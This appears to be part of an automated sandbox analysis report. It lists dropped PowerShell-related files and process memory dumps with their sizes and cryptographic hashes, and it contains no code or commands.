f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
04a636cc2d3400e65ead42a903220a92

SHA1
bd39d03695413822428a4f4c46c50ebbefa389e3

SHA256
4f005d9a84b759f470e31206bea74a990d02899730076610fab8d4cecc92c2d0

SHA512
654cfa5881cb596b47d6f979d647a8259b125555fb54d9bc47f8f9a1f7f9474ee5bb74c58da4025e001b0860a89a6a1e5a8d96f416942d1e34bf192b91021293

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_damzrdm2.5hu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/1072-53-0x00007FF616470000-0x00007FF616681000-memory.dmp

Filesize
2.1MB

Download
memory/1072-123-0x00007FF616470000-0x00007FF616681000-memory.dmp

Filesize
2.1MB

Download
memory/1132-83-0x00000221E9E80000-0x00000221E9E86000-memory.dmp

Filesize
24KB

Download
memory/1132-63-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/1132-85-0x00000221E8ED0000-0x00000221E8EE0000-memory.dmp

Filesize
64KB

Download
memory/1132-75-0x00007FF4A2300000-0x00007FF4A2310000-memory.dmp

Filesize
64KB

Download
memory/1132-84-0x00000221E9E90000-0x00000221E9E9A000-memory.dmp

Filesize
40KB

Download
memory/1132-81-0x00000221E9EA0000-0x00000221E9EBA000-memory.dmp

Filesize
104KB

Download
memory/1132-80-0x00000221E9E40000-0x00000221E9E4A000-memory.dmp

Filesize
40KB

Download
memory/1132-82-0x00000221E9E50000-0x00000221E9E58000-memory.dmp

Filesize
32KB

Download
memory/1132-79-0x00000221E9E60000-0x00000221E9E7C000-memory.dmp

Filesize
112KB

Download
memory/1132-78-0x00000221E99D0000-0x00000221E99DA000-memory.dmp

Filesize
40KB

Download
memory/1132-74-0x00000221E9C20000-0x00000221E9C3C000-memory.dmp

Filesize
112KB

Download
memory/1132-76-0x00000221E8ED0000-0x00000221E8EE0000-memory.dmp

Filesize
64KB

Download
memory/1132-64-0x00000221E8ED0000-0x00000221E8EE0000-memory.dmp

Filesize
64KB

Download
memory/1132-88-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/1132-77-0x00000221E9C40000-0x00000221E9CF5000-memory.dmp

Filesize
724KB

Download
memory/1576-133-0x00007FF709750000-0x00007FF709766000-memory.dmp

Filesize
88KB

Download
memory/1576-127-0x00007FF709750000-0x00007FF709766000-memory.dmp

Filesize
88KB

Download
memory/1916-146-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-156-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-188-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-186-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-184-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-182-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-180-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-178-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-176-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-174-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-172-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-170-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-168-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-166-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-164-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-162-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-160-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-158-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-154-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-152-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-125-0x000001D168440000-0x000001D168460000-memory.dmp

Filesize
128KB

Download
memory/1916-124-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-150-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-148-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-126-0x000001D1685A0000-0x000001D1685C0000-memory.dmp

Filesize
128KB

Download
memory/1916-144-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-128-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-130-0x000001D1685E0000-0x000001D168600000-memory.dmp

Filesize
128KB

Download
memory/1916-129-0x000001D1685C0000-0x000001D1685E0000-memory.dmp

Filesize
128KB

Download
memory/1916-132-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-142-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-134-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-136-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/1916-137-0x000001D1685C0000-0x000001D1685E0000-memory.dmp

Filesize
128KB

Download
memory/1916-138-0x000001D1685E0000-0x000001D168600000-memory.dmp

Filesize
128KB

Download
memory/1916-140-0x00007FF708860000-0x00007FF709054000-memory.dmp

Filesize
8.0MB

Download
memory/3200-114-0x000001838F640000-0x000001838F650000-memory.dmp

Filesize
64KB

Download
memory/3200-101-0x000001838F640000-0x000001838F650000-memory.dmp

Filesize
64KB

Download
memory/3200-102-0x000001838F640000-0x000001838F650000-memory.dmp

Filesize
64KB

Download
memory/3200-116-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/3200-100-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/3200-113-0x000001838F640000-0x000001838F650000-memory.dmp

Filesize
64KB

Download
memory/3200-112-0x00007FF42BCD0000-0x00007FF42BCE0000-memory.dmp

Filesize
64KB

Download
memory/3312-32-0x000001C5E2690000-0x000001C5E26A0000-memory.dmp

Filesize
64KB

Download
memory/3312-28-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/3312-34-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/3312-31-0x000001C5E2690000-0x000001C5E26A0000-memory.dmp

Filesize
64KB

Download
memory/3312-29-0x000001C5E2690000-0x000001C5E26A0000-memory.dmp

Filesize
64KB

Download
memory/3312-30-0x000001C5E2690000-0x000001C5E26A0000-memory.dmp

Filesize
64KB

Download
memory/4724-52-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/4724-49-0x0000013036010000-0x0000013036020000-memory.dmp

Filesize
64KB

Download
memory/4724-48-0x0000013036010000-0x0000013036020000-memory.dmp

Filesize
64KB

Download
memory/4724-46-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/4780-12-0x00000176FECE0000-0x00000176FECF0000-memory.dmp

Filesize
64KB

Download
memory/4780-13-0x00000176FECE0000-0x00000176FECF0000-memory.dmp

Filesize
64KB

Download
memory/4780-11-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/4780-1-0x00000176FED60000-0x00000176FED82000-memory.dmp

Filesize
136KB

Download
memory/4780-16-0x00007FFA814D0000-0x00007FFA81F91000-memory.dmp

Filesize
10.8MB

Download
memory/4880-0-0x00007FF6F0900000-0x00007FF6F0B11000-memory.dmp

Filesize
2.1MB

Download
memory/4880-36-0x00007FF6F0900000-0x00007FF6F0B11000-memory.dmp

Filesize
2.1MB

Download